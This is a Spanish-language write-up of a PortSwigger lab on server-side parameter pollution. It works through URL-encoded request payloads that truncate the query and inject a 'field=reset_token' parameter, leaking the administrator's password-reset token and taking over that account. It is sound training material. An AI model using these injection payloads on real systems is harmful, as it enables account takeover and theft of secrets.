Exploiting server-side parameter pollution in a query string
Laboratorio de Portswigger sobre API Testing
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Para resolver el laboratorio, debemos iniciar sesión como el usuario administrator y borrar el usuario carlos
Resolución
Al acceder a la web nos sale esto
Pulsamos sobre My account y posteriormente sobre Forgot password?
Introducimos el nombre administrator
Si nos vamos a la extensión Logger ++ vemos esto
Hay casos en los que podemos contaminar los parámetros que se envían al servidor, en este caso estamos usando # urlencodeado para ver si podemos truncar el resto de parámetros de la query
1
csrf=iKKdRZ0MDh7Ms7H0thbHhJ4Sif5lI4De&username=administrator%23
Con el payload &field=test urlencodeado estamos intentando inyectar ese parámetro en la query. En el caso de que haya dos parámetros con el mismo nombre, uno el propio de la query y otro el que nosotros hemos inyectado, la API los interpretará de diferente forma dependiendo del la tecnología que se utilice. Por ejemplo, PHP solo analiza el último parámetro, ASP.NET combina ambos parámetros y Node.js/Express solo analiza el primer parámetro
1
csrf=iKKdRZ0MDh7Ms7H0thbHhJ4Sif5lI4De&username=administrator%26field=test
Truncamos el resto de la query añdiendo # urlencodeado al final y seguimos obteniendo la misma respuesta, lo cual nos sugiere que el servidor puede reconocer como válido el parámetro que hemos inyectado
1
csrf=iKKdRZ0MDh7Ms7H0thbHhJ4Sif5lI4De&username=administrator%26field=test%23
Lo siguiente que debemos hacer es enviar la petición al Intruder
Nos dirigimos a Payloads y seleccionamos como payload Server-side variable names
Obtenemos dos campos válidos, username y email
Si asignamos el campo field=username obtenemos el nombre del usuario
Si asignamos el campo field=email obtenemos el mismo mensaje que veces anteriores
Si inspeccionamos el código fuente vemos que existe este archivo js
Si accedemos a https://0a7d001103cc125d87a50cae009d00b5.web-security-academy.net/static/js/forgotPassword.js veremos todo su contenido
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
let forgotPwdReady = (callback) => {
if (document.readyState !== "loading") callback();
else document.addEventListener("DOMContentLoaded", callback);
}
function urlencodeFormData(fd){
let s = '';
function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
for(let pair of fd.entries()){
if(typeof pair[1]=='string'){
s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
}
}
return s;
}
const validateInputsAndCreateMsg = () => {
try {
const forgotPasswordError = document.getElementById("forgot-password-error");
forgotPasswordError.textContent = "";
const forgotPasswordForm = document.getElementById("forgot-password-form");
const usernameInput = document.getElementsByName("username").item(0);
if (usernameInput && !usernameInput.checkValidity()) {
usernameInput.reportValidity();
return;
}
const formData = new FormData(forgotPasswordForm);
const config = {
method: "POST",
headers: {
"Content-Type": "x-www-form-urlencoded",
},
body: urlencodeFormData(formData)
};
fetch(window.location.pathname, config)
.then(response => response.json())
.then(jsonResponse => {
if (!jsonResponse.hasOwnProperty("result"))
{
forgotPasswordError.textContent = "Invalid username";
}
else
{
forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
forgotPasswordForm.className = "";
forgotPasswordForm.style.display = "none";
}
})
.catch(err => {
forgotPasswordError.textContent = "Invalid username";
});
} catch (error) {
console.error("Unexpected Error:", error);
}
}
const displayMsg = (e) => {
e.preventDefault();
validateInputsAndCreateMsg(e);
};
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?reset_token=${resetToken}`;
}
else
{
const forgotPasswordBtn = document.getElementById("forgot-password-btn");
forgotPasswordBtn.addEventListener("click", displayMsg);
}
});
Lo que más llama la atención es el parámetro reset_token, si nosotros ponemos ese campo obtendremos el reset token del usuario administrador. El campo type tiene los valores username y email y ambos se han podido añadir como un parámetro extra en la query, por lo tanto cabía la posibilidad de que también pudiéramos añadir reset_token
1
csrf=iKKdRZ0MDh7Ms7H0thbHhJ4Sif5lI4De&username=administrator%26field=reset_token
Si accedemos a https://0a7d001103cc125d87a50cae009d00b5.web-security-academy.net/forgot-password?reset_token=od0enk6i7aqpjksrhv7pm1x19pactjbb podremos cambiarle la contraseña al usuario administrador
Nos logueamos como el usuario administrador
Pulsamos sobre Admin panel y eliminamos al usuario carlos
![[image_17.png]]
![[image_18.png]]
















